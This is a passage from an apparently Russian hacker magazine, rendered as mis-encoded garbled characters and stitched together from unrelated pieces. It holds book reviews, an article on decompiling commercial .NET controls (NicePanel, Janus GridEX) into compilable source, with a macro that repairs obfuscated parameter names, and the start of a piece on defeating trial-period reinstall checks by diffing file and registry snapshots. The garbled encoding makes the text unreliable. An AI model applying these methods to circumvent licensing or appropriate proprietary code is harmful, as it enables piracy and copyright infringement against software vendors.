èç .NET-ÿçûêîâ âûñîêîãî óðîâíÿ (ßÂÓ).

..NNEETT ññååêêððååòòààìì
ÄÎÁÛ×À ÈÑÕÎÄÍÎÃÎ ÊÎÄÀ ÏÐÈËÎÆÅÍÈÉ
ÝÒÀ ÑÒÀÒÜß ÏÎÑÂßÙÀÅÒÑß ÒÅÕÍÈÊÅ ÂÎÑÑÒÀÍÎÂËÅÍÈß ÈÑÕÎÄÍÎÃÎ ÊÎÄÀ .NET-
ÏÐÎÃÐÀÌÌ. ÐÀÇÁÅÐÅÌ È ÏÐÎÁËÅÌÛ, ÂÎÇÍÈÊÀÞÙÈÅ ÏÎÑËÅ ÂÎÑÑÒÀÍÎÂËÅÍÈß 
ÈÑÕÎÄÍÎÃÎ ÊÎÄÀ, — ÍÅÐÅÄÊÎ ÂÎÑÑÒÀÍÎÂËÅÍÍÛÉ ÊÎÄ ÈÌÅÅÒ ÎØÈÁÊÈ ÊÎÌ-
ÏÈËßÖÈÈ. Â ÌÎÈÕ ÑÒÀÒÜßÕ (ÑÌÎÒÐÈ Â ÏÐÅÄÛÄÓÙÅÌ ÑÏÅÖÅ) ÎÁ ÝÒÎÌ ÓÏÎÌÈ-
ÍÀÅÒÑß |N|M(INT3 TEAM)(NIM@INT3.RU)

Wi-ôó: «áîåâûå» 
ïðèåìû âçëîìà 
è çàùèòû 
áåñïðîâîäíûõ ñåòåé

Ì.: ÍÒ Ïðåññ, 2005
Âëàäèìèðîâ À.À. / 463 ñòðàíèöû
Ðàçóìíàÿ ööåíà: 335 ðóáëåé

Ìåòîäû àòàê íà áåñïðîâîä-
íûå ñåòè Wi-Fi è çàùèòà îò

íèõ â îäíîì ôëàêîíå. Îáñóæäàåòñÿ ïîäáîð
àïïàðàòíûõ è ïðîãðàììíûõ ñðåäñòâ äëÿ
àòàêè è çàùèòû. Ïî øàãàì (!) ðàñïèñàíû
ðàçëè÷íûå àòàêè: âçëîì WEP, àòàêà FMS,
ôàëüøèâûå òî÷êè äîñòóïà è DoS-àòàêè.
Çäåñü æå âñå ñëàáîñòè ðàçðàáàòûâàåìûõ
ïðîòîêîëîâ áåçîïàñíîñòè, âêëþ÷àÿ 802.11i,
PPTP è IPSec. Îïèñàíû èíñòðóìåíòû äëÿ
îáíàðóæåíèÿ ñåòè â ðåæèìå ìîíèòîðèíãà è
àíàëèçà òðàôèêà (Kismet, Wellenreiter, Airtraf,
Gtkskan, Airfart, Mognet, WifiScanner), ñèñ-
òåìû îáíàðóæåíèÿ âòîðæåíèé è ñïîñîáû çà-
ùèòû (êðèïòîãðàôè÷åñêàÿ, àóòåíòèôèêà-
öèÿ, VPN). Åäèíñòâåííûé ìèíóñ: ñîäåðæè-
ìîå êíèæêè ïîéìåò òîëüêî òîò, êòî â òåìå.

Âçëîìû è íàñòðîéêà
LINUX. 100 ïðîôåñ-
ñèîíàëüíûõ ñîâåòîâ 
è èíñòðóìåíòîâ

Ì.: Èçäàòåëüñòâî ÝÊÎÌ, 2006
Ôëèêåíãåð Ð. / 288 ñòðàíèö
Ðàçóìíàÿ ööåíà: 164 ðóáëÿ

Íàáîð ðàçíîêàëèáåðíûõ ïî-
ëåçíûõ ñîâåòîâ (è ïðîñòûõ,

è ñëîæíûõ) ïî íàáîëåâøèì ïðîáëåìàì íà
ñåðâåðàõ ïîä óïðàâëåíèåì Linux. Ïðàâäà, ñëî-
âî «âçëîìû» óïîòðåáëåíî â íàçâàíèè â î÷åíü
ïåðåíîñíîì ñìûñëå. Âèäèìî, àâòîð ðåøèë
ñûãðàòü íà èíòåðåñå ëþäåé ê âçëîìó. Íà ñà-
ìîì äåëå â êíèãå îïèñàíû: ýôôåêòèâíîå
óïðàâëåíèå ñåðâåðàìè ïîä Linux, êîíòðîëü
âåðñèé, ðåçåðâíîå êîïèðîâàíèå, ñîâåòû è õèò-
ðîñòè ïî ðàáîòå ñ Ñåòüþ, ìîíèòîðèíã ñèñòåì-
íûõ è ñåòåâûõ ðåñóðñîâ, èñïîëüçîâàíèå SSH,
íàïèñàíèå ñîáñòâåííûõ ñöåíàðèåâ, íàñòðîé-
êà è èñïîëüçîâàíèå Bind 9, MySQL è Apache.
Â îáùåì, ìèêñ àêòóàëüíîãî è ïîëåçíîãî.

h
a

rd

Õàêèíã îïåðàöèîííûõ
ñèñòåì Microsoft Win-
dows XP è Linux íå
äëÿ äèëåòàíòîâ

Ì.: ÇÀÎ «Íîâûé èçäàòåëüñêèé
äîì», 2005 / Ëåîíòüåâ Á.Ê. / 
320 ñòðàíèö
Ðàçóìíàÿ ööåíà: 155 ðóáëåé

Â íàçâàíèè çíà÷àòñÿ XP 
è Linux, íî ñîëèäíàÿ ÷àñòü

åå îòäàíà ðàáîòå ñ VMware Workstation. Ýòî
ïðèëîæåíèå ýìóëèðóåò ïîëíîôóíêöèîíàëü-
íûé êîìïüþòåð ñ åãî àïïàðàòíîé «íà÷èíêîé».
Êàæäûé òàêîé «êîìïüþòåð» — âèðòóàëüíàÿ
ìàøèíà, åé óïðàâëÿåò ÎÑ, ñêàæåì XP èëè
Linux. Ïðèãîäèòñÿ, åñëè âçäóìàåøü çàïóñ-
òèòü íåñêîëüêî îïåðàöèîíîê îäíîâðåìåííî
è ðàáîòàòü â ñïàðêå. «Îñòàòîê» êíèãè —
âàæíûå ìîìåíòû óñòàíîâêè, íàñòðîéêè 
è ðàáîòû â XP è Linux. Ìîæåøü ÷èòàòü êàê
ðàç èñïîëüçóÿ VMware Workstation.
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Ïîñìîòðèì, êàê îáû÷íî ïðîèñõîäèò äåêîìïèëÿ-
öèÿ. Äëÿ ýòîãî âîñïîëüçóåìñÿ Reflector’îì (www.ai-

sto.com/roeder/dotnet) è ïëàãèíîì Reflector.FileDisas-
sembler (www.denisbauer.com/NETTools), êîòîðûé ïîçâî-
ëÿåò ñîõðàíÿòü êëàññû â îòäåëüíûå ôàéëû, êîí-
âåðòèðîâàòü ðåñóðñû â ôîðìàò *.resx è ñîçäàâàòü
ôàéë ïðîåêòà.

ïåðâûì ïïðèìåðîì âîññòàíîâëåíèÿ èñõîäíî-
ãî êîäà âûñòóïèò çàìå÷àòåëüíûé êðàñèâûé êîí-
òðîë nicepanel. Åãî ìîæíî ñêà÷àòü ñ www.purecom-

ponents.com/products/nicepanel. Áóäåì äåêîìïèëèðî-
âàòü åãî â C#, ïîñêîëüêó íà íåì îí è áûë íàïè-
ñàí. Äåêîìïèëèðîâàòü â äðóãîé ßÂÓ êàê-òî ïðî-
áëåìàòè÷íî, òàê êàê ñóùåñòâóåò ðàçíèöà â ñèí-
òàêñè÷åñêèõ êîíñòðóêöèÿõ ÿçûêîâ. Íàïðèìåð, â
VB.Net íå ó÷èòûâàåòñÿ ðåãèñòð ñèìâîëîâ èìåíè
êëàññîâ, ìåòîäîâ è ò.ä., à â C# îäèíàêîâûå áó-
êâû â ðàçíûõ ðåãèñòðàõ ñ÷èòàþòñÿ ðàçíûìè íàç-
âàíèÿìè. Reflector íå ó÷èòûâàåò ýòîãî, ïîýòîìó
ïðè äåêîìïèëÿöèè C#'íîãî êîäà â VB.Net ìû ïî-
ëó÷èì êó÷ó îøèáîê.

Ïåðâàÿ îøèáêà, êîòîðóþ âûäàë êîìïèëÿ-
òîð: PureComponents.NicePanel.Design\Action-
MenuNative.cs(249): Íåáåçîïàñíûé êîä ìîæåò
èñïîëüçîâàòüñÿ òîëüêî ïðè êîìïèëÿöèè ñ ïàðà-
ìåòðîì /unsafe.

Â êîìïîíåíòå èñïîëüçóþòñÿ íåáåçîïàñíûå
êîíñòðóêöèè, ïðèìåíÿþùèå óêàçàòåëè. Êàê èç-
âåñòíî, óêàçàòåëè ìîãóò óêàçûâàòü íà íåðàñïðå-
äåëåííóþ ïàìÿòü èëè óêàçûâàòü ñîâñåì íå òóäà,
êóäà äîëæåí. Ñîîòâåòñòâóþùàÿ îøèáêà ïðî-
ãðàììèðîâàíèÿ (â èñïîëüçîâàíèè óêàçàòåëåé)
äîâîëüíî ðàñïðîñòðàíåíà, ïîýòîìó â .NET îñòà-
âèëè ëèøü ïîääåðæêó ýòîé âîçìîæíîñòè (äëÿ
ñëó÷àåâ, ãäå áåç óêàçàòåëåé íåëüçÿ ðåøèòü ïî-
ñòàâëåííóþ çàäà÷ó).

Èòàê, íóæíî çàéòè â îïöèè ïðîåêòà è óñòà-
íîâèòü ïàðàìåòð Allow Unsafe Code Blocks = True.
Çàòåì åùå ðàç äåëàåì buid è âèäèì, ÷òî êîìïè-
ëÿòîð âûäàë 58 îøèáîê.

Íà÷íåì ñ ïðîáëåìû, êîòîðàÿ æäàëà íàñ â ìåòîäå
PureComponents.NicePanel.NicePanel::OnPaint-
Background(PaintEventArgs pevent). Êîìïèëÿòîð
ñîîáùàåò îá îøèáêå

cs(416): Îïåðàòîð '+' íå ìîæåò 

ïðèìåíÿòüñÿ ê îïåðàíäàì òèïà 'PureCom-

ponents.NicePanel.PanelHeaderSize' 

è 'PureComponents.NicePanel.PanelHeaderSize'

Ïîñìîòðåâ íà PanelHeaderSize, îáíàðóæèâàåì,
÷òî ýòî enum (ïåðå÷èñëåíèå).

public enum PanelHeaderSize

{

Large  = 40,

Medium = 24,

Small  = 16

}

Âîò óæå ñòàíîâèòñÿ ïîíÿòíî, ÷òî äîëæíî ïðîèñõî-
äèòü ñëîæåíèå ýëåìåíòîâ ïåðå÷èñëåíèÿ, äëÿ ÷åãî
â C# èñïîëüçóåòñÿ îïåðàòîð (|). Çàìåíèâ (+) íà (|),
ìû èçáàâëÿåìñÿ îò äåâÿòè îøèáîê. Àíàëîãè÷íàÿ
îøèáêà åñòü â ìåòîäå

PureComponents.NicePanel.Design.NicePan-

elDesigner::OnRemoveAutoScrollPanel(ob-

ject sender, EventArgs e).

Â ýòîì æå êëàññå êîìïèëÿòîð ðóãàåòñÿ â ìåòîäå

OnAddAutoScrollPanel(object sender,

EventArgs e) ñòðîêà 345: Îïåðàòîð '-'

íå ìîæåò ïðèìåíÿòüñÿ ê îïåðàíäàì òèïà

'int' è 'PureComponents.NicePanel.Pan-

elHeaderSize'.

Âîò êàê ðàç ýòà ñòðîêà:

panel1.Height = (int)(((((PanelHeader-

Size)this.m_NicePanel.Height) - 

this.m_NicePanel.Style.HeaderStyle.Size)

- this.m_NicePanel.Style.FooterStyle.Si-

ze) - ((PanelHeaderSize)2));

Ðàññìîòðèì ýòó ñòðîêó êîäà ïîáëèæå. Âî-ïåðâûõ,
âíèìàòåëüíî ïðèãëÿäûâàåìñÿ ê ïðèâåäåíèþ òèïà
int ê òèïó PanelHeaderSize: (PanelHeaderSize)this.m_Ni-
cePanel.Height. Ïðè ýòîì ïðîèñõîäèò âûðàâíèâàíèå ê
áëèæàéøåìó ýëåìåíòó â ïåðå÷èñëåíèè PanelHeader-
Size. Ê ïðèìåðó, åñëè Height áóäåò ðàâåí 19-òè, òî
ýòî ïðåîáðàçîâàíèå îêðóãëèò äî PanelHeaderSize.
Small(16). Åñëè Height áóäåò ðàâåí 21-ìó, ïðåîáðà-
çîâàíèå îêðóãëèò äî PanelHeaderSize.Medium (24).

Òàêèì ïðåîáðàçîâàíèåì àâòîð äîáèëñÿ äèñ-
êðåòíîñòè ðàçìåðà íåêîåãî îêíà, è ïîýòîìó ðàç-
ìåð îêíà â ëþáîì ñëó÷àå áóäåò òîëüêî îäíèì èç
òðåõ (40, 24, 16). Â ÷åì ñóòü îøèáêè? Êîãäà äâà
enum'à ó÷àñòâóþò â ðàçíîñòè, ðåçóëüòàò àâòîìà-
òè÷åñêè ïðåîáðàçóåòñÿ â òèï int, è óæå ïðè ñëå-

äóþùåì âû÷èòàíèè ïîëó÷àåòñÿ, ÷òî èç îáúåêòà ñ
òèïîì int âû÷èòàåòñÿ îáúåêò ñ òèïîì PanelHeader-
Size. Êîìïèëÿòîð æå âèäèò íåñîîòâåòñòâèå òèïîâ
è âûäàåò íàì îøèáêó êîìïèëÿöèè. Ñëåäîâàòåëü-
íî, äëÿ ðåøåíèÿ ïðîáëåìû êàæäàÿ ðàçíîñòü äîë-
æíà áûòü âûäåëåíà â îòäåëüíûå ñêîáêè è ðåçóëü-
òàò ðàçíîñòè äîëæåí áûòü ïðèâåäåí ê òèïó Pa-
nelHeaderSize.

Æàëü, íî Reflector íå ó÷èòûâàåò ýòó îñîáåí-
íîñòü. Åñëè åñòü âðåìÿ, ìîæåøü íàïèñàòü Àèñòó
áàã-ðåïîðò :). Â ðåçóëüòàòå ýòà ñòðîêà êîäà äîë-
æíà âûãëÿäåòü òàê:

panel1.Height = (int)((PanelHeaderSi-

ze)((PanelHeaderSize)((PanelHeaderSi-

ze)((PanelHeaderSize)this.m_NicePan

el.Height) - this.m_NicePanel.Style.He-

aderStyle.Size) - this.m_NicePanel.Sty-

le.FooterStyle.Size) - ((PanelHeaderSi-

ze)2));

Îñòàþòñÿ åùå äâå ïðîáëåìû, ñâÿçàííûå ñ ýòèì
íåñ÷àñòíûì ïåðå÷èñëåíèåì :). Êîìïèëÿòîð ñî-
îáùàåò:

PureComponents.NicePanel\NicePanel.cs:

Îïåðàòîð '/' íå ìîæåò ïðèìåíÿòüñÿ 

ê îïåðàíäàì òèïà 'PureComponents.Nice-

Panel.PanelHeaderSize' è 'PureCom-

ponents.NicePanel.PanelHeaderSize'

Ýòî ïðîèñõîäèò â ñòðîêàõ 1704 è 1900. Âîò ïðà-
âèëüíûé âèä ýòèõ ñòðîê — ïåðâàÿ:

int num2 = (int)(PanelHeaderSi-

ze)((((PanelHeaderSize) (this.Height -

num1)) - this.Style.FooterStyle.Size) 

+ ((int)this.Style.FooterStyle.Size / 2));

È âòîðàÿ:

int num3 = (int) (((PanelHeaderSize)

num1) + ((this.Style.HeaderStyle.Size -

((PanelHeaderSize) 2)) / 2));

Äàëåå ñëåäóþò áîëåå êàâåðçíûå îøèáêè (ñèíòàê-
ñè÷åñêèå). Íàïðèìåð, â êëàññå NicePanelDesigner
ñòðîêà 135:

if(<PrivateImplementationDeta-

ils>.$$method0x60000d2-1 == null)

Òóò çàïðÿòàëèñü ñðàçó íåñêîëüêî îøèáîê. Çíàêè
(>), ($) è (-) íå ìîãóò èñïîëüçîâàòüñÿ â íàçâàíèÿõ
ìåòîäîâ, êëàññîâ è ò.ä. Îòêðûâ ýòó ñáîðêó â Reflec-
tor’å, îáíàðóæèì, ÷òî ìåòîä $$method0x60000d2-1
äåéñòâèòåëüíî ñóùåñòâóåò: êëèêíåì íà íàçâàíèå ýòî-
ãî ìåòîäà è ïîïàäåì â èíòåðåñíûé êëàññ.

internal class <PrivateImplementation-

Details>
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{

// Fields

internal static $$struct0x6000067-1

$$method0x6000067-1; // data size: 176 

bytes

internal static Hashtable 

$$method0x60000d2-1;

internal static Hashtable 

$$method0x60000d2-2;

internal static $$struct0x6000157-1 

$$method0x6000157-1; // data size: 512

bytes

// Nested Types

[StructLayout(LayoutKind.Explicit, Si-

ze=0xb0, Pack=1)]

private struct $$struct0x6000067-1

{

}

[StructLayout(LayoutKind.Explicit, Si-

ze=0x200, Pack=1)]

private struct $$struct0x6000157-1

{

}

}

Ýòîò êëàññ íàõîäèòñÿ â ïðîñòðàíñòâå èìåí ("-"),
êîòîðîå ñîçäàåòñÿ êîìïèëÿòîðîì àâòîìàòè÷åñêè,
â íåãî âõîäÿò ãëîáàëüíûå ïîëÿ, ìåòîäû è êëàññû,
÷òî, ïðàâäà, íå ïîääåðæèâàåòñÿ â C# è íàâîäèò íà
ìûñëè î ïðèñóòñòâèè íåêîãî çàùèòíîãî ìåõàíèç-
ìà. Êñòàòè, èç ýòîãî êëàññà â ïðîåêòå èñïîëüçóåò-
ñÿ òîëüêî îäíî ïîëå $$method0x60000d2-1.

×òîáû èñïðàâèòü ãëþêè, ñîçäàäèì êëàññ Helper, à
â íåì — îäíî ïîëå. Åùå ïîäïðàâèì âñå îáðàùå-
íèÿ ê íåìó â ñòðîêàõ 228, 148 è 135.

using System;

using System.Collections;

namespace PureComponents.NicePanel.Design

{

public class Helper

{

public static Hashtable Hashtable1;

}

}

È ïîñëåäíÿÿ îøèáêà, êîòîðàÿ äîëæíà áûòü èñïðà-
âëåíà:

Ñáîé êðèïòîãðàôè÷åñêèõ ñëóæá ïðè ñîçäà-

íèè ïîäïèñè ñáîðêè 'nicePanelKey.snk' -

- Íå óäàåòñÿ íàéòè óêàçàííûé ôàéë.

Ýòîò çàêðûòûé êëþ÷ èñïîëüçîâàí äëÿ öèôðîâîé ïîä-
ïèñè äàííîãî êîìïîíåíòà. ×òîáû èñïðàâèòü íåïðèÿò-
íîñòü, çàõîäèì â ôàéë AssemblyInfo.cs è ñìîòðèì íà
âñÿêèå àòðèáóòû ñáîðêè, ñðåäè êîòîðûõ óêàçàíû:

AssemblyVersion, AssemblyProduct, As-

semblyCopyright, AssemblyCompany, As-

semblyKeyFile

è ò.ä. Ìîæíî çàìåíèòü çíà÷åíèÿ ýòèõ ïàðàìåòðîâ
íà ñâîè èëè ñîâñåì óäàëèòü èõ. Âîò óæå ìû äîáè-

ëèñü êîìïèëèðóåìîñòè äåêîìïèëèðîâàííûõ èñ-
õîäíèêîâ, òåïåðü ïðîâåðèì èõ ðàáîòîñïîñîáíîñòü ;).

Äîáàâëÿåì â Solution ëþáîé èç ïðèìåðîâ,
ïîñòàâëÿåìûõ âìåñòå ñ êîìïîíåíòîì (ÿ ïðåäïî-
÷åë Showcase — îí áîëåå íàãëÿäíûé è ïîêàçû-
âàåò ïî÷òè âñå ñïîñîáíîñòè êîìïîíåíòà), òàê ÷òî
åñëè äîïóñòèì îøèáêó, ñèìïòîìû åå ïðèñóò-
ñòâèÿ áóäóò âèäíû.

Çàïóñòèâ ïðèìåð, ÿ íå óâèäåë íèêàêèõ ïðî-
áëåì, çíà÷èò, âîññòàíîâëåíèå èñõîäíîãî êîäà
ìîæíî ñ÷èòàòü óñïåøíûì :).

âòîðûì ïïðèìåðîì ñòàíåò Grid-êîìïîíåíò îò
êîìïàíèè Janus (www.janusys.com/controls). Òåëî êîí-
òðîëà áûëî îáôóñöèðîâàíî, íî òîëüêî â ÷àñòè êî-
äà, ïîìå÷åííîé àòðèáóòàìè äîñòóïà private è inter-
nal. Âñå public-ìåòîäû è êëàññû îñòàëèñü â ïåðâîç-
äàííîì âèäå :) — áëàãîäàðÿ ýòîìó êîíòðîëó ðàçðà-
áîò÷èêè äîëæíû âèäåòü íîðìàëüíûå íàçâàíèÿ
êëàññîâ è ïîëåé êëàññîâ. Íàì òîëüêî íà ðóêó!

Ïåðâûå îøèáêè, êîòîðûå ïîïàäàþò â òâîå
ïîëå çðåíèÿ ïîñëå äåêîìïèëÿöèè, — ýòî ìíîæå-
ñòâåííûå îøèáêè ðåñóðñîâ, ñâÿçàííûå ñ òåì, ÷òî
äåêîìïèëÿòîð ñîçäàåò îòäåëüíûå ïàïêè äëÿ êàæ-
äîãî ïðîñòðàíñòâà èìåí, à êëàññû, âõîäÿùèå â
íèõ, ñêëàäûâàåò â ýòè ïàïêè, íî ïî÷åìó-òî îí çà-
áûâàåò ñêëàäûâàòü â íèõ ðåñóðñû. Êëàññû, ïðîèç-
âîäíûå îò System.Windows.Forms.Control èëè Sy-
stem.Windows.Forms.Form, ìîãóò èìåòü ñâîé ôàéë
ðåñóðñà, è îí äîëæåí ðàñïîëàãàòüñÿ â òîé æå ïàï-
êå, ãäå è ñàì êëàññ. Ñëåäîâàòåëüíî, åäèíñòâåííîå
îñòàâøååñÿ äëÿ íàñ äåéñòâèå — ðàçëîæèòü ôàéëû
ðåñóðñîâ â ñîîòâåòñòâóþùèå ïàïêè. Íàïðèìåð,
íóæíî ïîëîæèòü ðåñóðñ

Janus.Windows.GridEX.EditControls.Calen-

dar.JNSAB.resx

â ïàïêó \Janus\Windows\GridEX\EditControls\Calen-
dar (îòíîñèòåëüíî êîðíåâîé ïàïêè ïðîåêòà), à ñàì
ðåñóðñ — ïåðåèìåíîâàòü â JNSAB.resx.

Ïîñëå èñïðàâëåíèÿ ýòèõ îøèáîê íàâàëèâà-
åòñÿ íîâàÿ êó÷à èç íèõ — ñâÿçàííàÿ ñ îáôóñêàöè-
åé êîäà. Ïðèìåð îøèáêè: private void l(object,
EventArgs args1). Çäåñü ïðîïóùåíî íàçâàíèå ïåð-
âîãî ïàðàìåòðà. Íàâåðíîå, ýòîò ýôôåêò äîñòèãà-
åòñÿ ïåðåèìåíîâàíèåì íàçâàíèÿ ïàðàìåòðà â
ïðîáåë, à åñëè ïàðàìåòðîâ äâà — ïåðåèìåíîâà-
íèåì â äâà ïðîáåëà, è ò.ä. Òàêîé ñïîñîá îáôóñêà-
öèè íå áûë èçâåñòåí ìíå. Ñíà÷àëà ÿ ðåøèë èñ-
ïðàâëÿòü ýòè îøèáêè âðó÷íóþ. Èñïðàâèë îäíó —
âäðóã ïîÿâèëîñü äåñÿòü òàêèõ æå. Êîâàðíàÿ Stu-
dio ïî÷åìó-òî íå ïîêàçûâàåò âñå îøèáêè ñðàçó, à
âûäàåò èõ ïîðöèÿìè. Ñêëàäûâàåòñÿ òàêîå âïå-
÷àòëåíèå, ÷òî îíè ñîçäàþòñÿ â ïðîöåññå :). Â îá-
ùåì, â êîäå ñèäèò íå ìåíåå ïÿòèñîò ïîäîáíûõ
îøèáîê, è ïðàâèòü èõ ðóêàìè — óòîìèòåëüíîå äå-
ëî. Âîò ÿ è ðåøèë àâòîìàòèçèðîâàòü ïðîöåññ, íà-
ïèñàâ ìàêðîñ.

Imports EnvDTE

Imports System.Diagnostics

PureComponents NicePanel Browser



Imports System.Collections

Public Module Module1

Sub CheckErrors()

Dim al As ArrayList = ListProj()

For i As Integer = 0 To al.Count - 1

Dim pr As ProjectItem = al(i)

Dim n As String = pr.Name

For j As Integer = 1 To pr.FileCode-

Model.CodeElements.Count

Dim code As CodeElement = pr.FileCo-

deModel.CodeElements.Item(j)

Dim ep As EditPoint = code.StartPo-

int.CreateEditPoint()

Dim str As String = ep.GetText(co-

de.EndPoint)

ParseCode(CType(code, CodeNamespa-

ce).Members)

Next

Next

End Sub

Sub ParseCode(ByVal elem As CodeEle-

ments)

For i As Integer = 1 To elem.Count

Dim code As CodeElement =

elem.Item(i)

If code.IsCodeType() Then

End If

Dim ep As EditPoint = code.StartPo-

int.CreateEditPoint()

Dim str As String = ep.GetText(co-

de.EndPoint)

If TypeOf code Is CodeClass Or _

TypeOf code Is CodeStruct Or _

TypeOf code Is CodeInterface Then

ParseCode(CType(code, CodeType).Members)

ElseIf TypeOf code Is CodeFunction Then

ParseParameters(CType(code, CodeFun-

ction).Parameters)

End If

Next

End Sub

Sub ParseParameters(ByVal elem As Co-

deElements)

For i As Integer = 1 To elem.Count

Dim code As CodeParameter = elem.Item(i)

Dim ep As EditPoint = code.StartPo-

int.CreateEditPoint()

Dim str As String = ep.GetText(co-

de.EndPoint)

If str.Split(" ".ToCharAr-

ray()).Length < 2 Then

ep.WordRight()

ep.Insert(" __Param" + i.ToString())

End If

Next

End Sub

Function ListProj() As ArrayList

Dim list As New ArrayList

Dim proj As Project = DTE.ActiveSolu-

tionProjects(0)

Dim win As Window = DTE.Win

dows.Item(Constants.vsWindowKindCom-

mandWindow)

listProjAux(proj.ProjectItems(), list)

Return list

End Function

Sub ListProjAux(ByVal projitems As

ProjectItems, ByVal list As ArrayList)

For Each projitem As ProjectItem In 

projitems

If GetExt(projitem) = "cs" Then

list.Add(projitem)

If Not projitem.ProjectItems 

Is Nothing Then

ListProjAux(projitem.ProjectItems, list)

End If

Next

End Sub

Function GetExt(ByVal pi As ProjectI-

tem) As String

Dim str() As String = pi.Na-

me.Split(".".ToCharArray())

Return str(str.Length - 1)

End Function

End Module

×òîáû âñòàâèòü ýòîò ìàêðîñ, âîñïîëüçóåìñÿ ìåíþ
Tools Macros Macro IDE. Íèêîãäà ðàíüøå ÿ íå
ïèñàë ìàêðîñû äëÿ Studio, ïîýòîìó íå óäèâëÿéñÿ,
÷òî ìàêðîñ íàïèñàí íà vb .net — ýòî ÿçûê ïî óìîë-
÷àíèþ äëÿ Macro.

Ñîáñòâåííî, çàïóñòèâ ìàêðîñ, ñïîêîéíî óõî-
äè ïîïèòü êîôå — óñïååøü ê ìîìåíòó, êîãäà îí çà-
êîí÷èò ñâîþ ðàáîòó (ìàêðîñ âñòàâëÿåò íàçâàíèÿ
ïàðàìåòðîâ â ôîðìàòå " __Param" + NumberOfI-
temParameter). Èòàê, ÷àñòü ïðîáëåì ðåøåíà, íî…

íà ññìåíó ïïðèõîäÿò áîëåå êîâàðíûå îøèáêè.
Äåëî â òîì, ÷òî â il-êîäå äîïóñêàþòñÿ ìåòîäû, êî-
òîðûå ìîãóò áûòü ïîõîæè êîëè÷åñòâîì è îäèíà-
êîâûìè òèïàìè ïàðàìåòðîâ, íî èõ ðàçëè÷èå äîë-

æíî çàêëþ÷àòüñÿ â òèïå âîçâðàùàåìîãî çíà÷å-
íèÿ. Òàêèõ îøèáîê â êîäå íå ìåíüøå, ÷åì èç îïè-
ñàííûõ âûøå òèïîâ. Èõ ðåøàþò îïÿòü æå ñ ïîìî-
ùüþ ìàêðîñà.

Êàê è â ïðåäûäóùåì ïðèìåðå, îñòàþòñÿ
òîëüêî äâå îøèáêè, ñâÿçàííûå ñ ïðèñóòñòâèåì
äâóõ êëàññîâ â ïðîñòðàíñòâå èìåí ("-"). Èõ íàçâà-
íèÿ — ýòî a è b. ×ëåíû ýòèõ êëàññîâ íå èñïîëüçó-
þòñÿ â ïðîåêòå, ïîýòîìó ïðîñòî èñêëþ÷àåì èõ èç
ïðîåêòà èëè óäàëÿåì. Íàêîíåö-òî âñå îøèáêè êîì-
ïèëÿöèè ïîáåæäåíû. Áåðåì ïðèìåð, ïîñòàâëÿå-
ìûé ñ äàííûì êîìïîíåíòîì, çàïóñêàåì åãî è íà-
áëþäàåì çà òåì, ÷òî âñå ðàáîòàåò áåç îøèáîê.

ðàáîòîñïîñîáíûå èèñõîäíèêè áûëè âîññòàíî-
âëåíû âñåãî çà ÷àñ. Íà íàïèñàíèå èõ óøëî áû íå
ìåíåå äâóõ ìåñÿöåâ. Êàêîé-íèáóäü çëîé ïðî-
ãðàììèñò íàâåðíÿêà âêëþ÷èë áû ýòîò èñõîäíûé
êîä íåïîñðåäñòâåííî â ñâîé ïðîåêò è îáôóñöè-
ðîâàë áû åãî. Íå íàéäåòñÿ íèêîãî, êòî áûë áû â
ñîñòîÿíèè äîêàçàòü, ÷òî «íå ÿ» íàïèñàë ýòó ÷àñòü
ïðîãðàììû 
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ËÎÌÀÞÒÑß ÊÎÑßÊÀÌÈ? ÂÎ ÂÑÅÌ ÂÈÍÎÂÀÒÛ ÎØÈÁÊÈ ÐÀÇÐÀÁÎÒ×ÈÊÎÂ, ÈÇÁÅÆÀÒÜ ÊÎÒÎÐÛÕ Î×ÅÍÜ
ËÅÃÊÎ, ÅÑËÈ, ÊÎÍÅ×ÍÎ, ÇÀÐÀÍÅÅ ÇÍÀÒÜ, ÃÄÅ ÑÀËÎ, À ÃÄÅ ÊÀÏÊÀÍ |ÊÐÈÑ ÊÀÑÏÅÐÑÊÈ ÀÊÀ ÌÛÙÚÕ

ññììûûââààééòòåå ââîîääóó 
èè ââûûêêëëþþ÷÷ààééòòåå ññââååòò
Äëÿ ïðîãðàìì, çàùèùåííûõ trial-ñðîêîì,
õàðàêòåðíà ïðîáëåìà ðåèíñòàëëÿöèè.
Êîãäà èñïûòàòåëüíûé ïåðèîä çàêàí÷èâà-
åòñÿ è ïðîãðàììà ãîâîðèò «ìÿó», ñðåäíå-
ñòàòèñòè÷åñêèé ïîëüçîâàòåëü, âìåñòî òî-
ãî ÷òîáû çàðåãèñòðèðîâàòüñÿ, ïðîñòî óäà-
ëÿåò åå ñ êîìïüþòåðà è òóò æå óñòàíàâëè-
âàåò âíîâü, íàäåÿñü, ÷òî îíà çàðàáîòàåò
êàê íîâàÿ. Ñïåöèàëüíî äëÿ «òàêèõ» èí-
ñòàëëÿòîð îñòàâëÿåò íà êîìïüþòåðå ñå-
êðåòíûé ñêðûòûé çíàê, íå óäàëÿåìûé äå-
èíñòàëëÿòîðîì. Îáíàðóæèâ, ÷òî ïðîãðàì-
ìà áûëà óñòàíîâëåíà íà ýòîì êîìïüþòå-
ðå ðàíåå, çàùèòà áëîêèðóåò çàïóñê è ãî-
âîðÿò «ìÿó» åùå ðàç. Íà ïåðâûé âçãëÿä,
çàùèòà êàæåòñÿ íåïðèñòóïíîé, íî… îá-
íàðóæèòü è óäàëèòü ñêðûòûé çíàê ìîæåò
äàæå ëàìåð!

Ýòî äåëàåòñÿ òàê. Ïåðåä óñòàíîâêîé
ïðîãðàììû ñ êîìïüþòåðà ñíèìàåòñÿ ïîë-
íûé äàìï. Àíòèâèðóñíûå ðåâèçîðû ïîìî-
ãàþò ñôîðìèðîâàòü ñïèñîê ôàéëîâ, à
óòèëèòû «ïðèíóäèòåëüíîé äåèíñòàëëÿ-

öèè» òèïà Advanced Registry Tracer ñîçäà-
þò «ñëåïîê» ðååñòðà. Ïîñëå óñòàíîâêè
ïðîãðàììû ñîçäàåòñÿ åùå îäèí äàìï, êî-
òîðûé ñðàâíèâàåòñÿ ñ ïåðâûì. Âñå òàé-
íîå ñòàíîâèòñÿ ÿâíûì! Åñëè æå ïåðâûé
äàìï ïî êàêèì-òî ïðè÷èíàì íå áûë ñäå-
ëàí (ñïîõâàòèëñÿ òîëüêî ïîñëå îêîí÷àíèÿ
trial-ñðîêà), íå áåäà. Çàïóñêàé ôàéëîâûé
ìîíèòîð âìåñòå ñ ìîíèòîðîì ðååñòðà

Ìàðêà Ðóññèíîâè÷à (www.sysinternals.com) è
ñìîòðè, ÷òî èìåííî «íå íðàâèòñÿ» çàùè-
